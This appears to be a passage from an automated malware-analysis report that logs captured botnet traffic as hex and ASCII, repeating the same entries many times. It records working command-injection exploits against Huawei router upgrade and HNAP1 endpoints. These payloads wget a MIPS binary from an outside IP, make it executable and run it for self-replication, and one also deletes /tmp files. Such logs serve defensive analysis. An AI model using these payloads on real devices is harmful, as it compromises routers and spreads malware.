HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 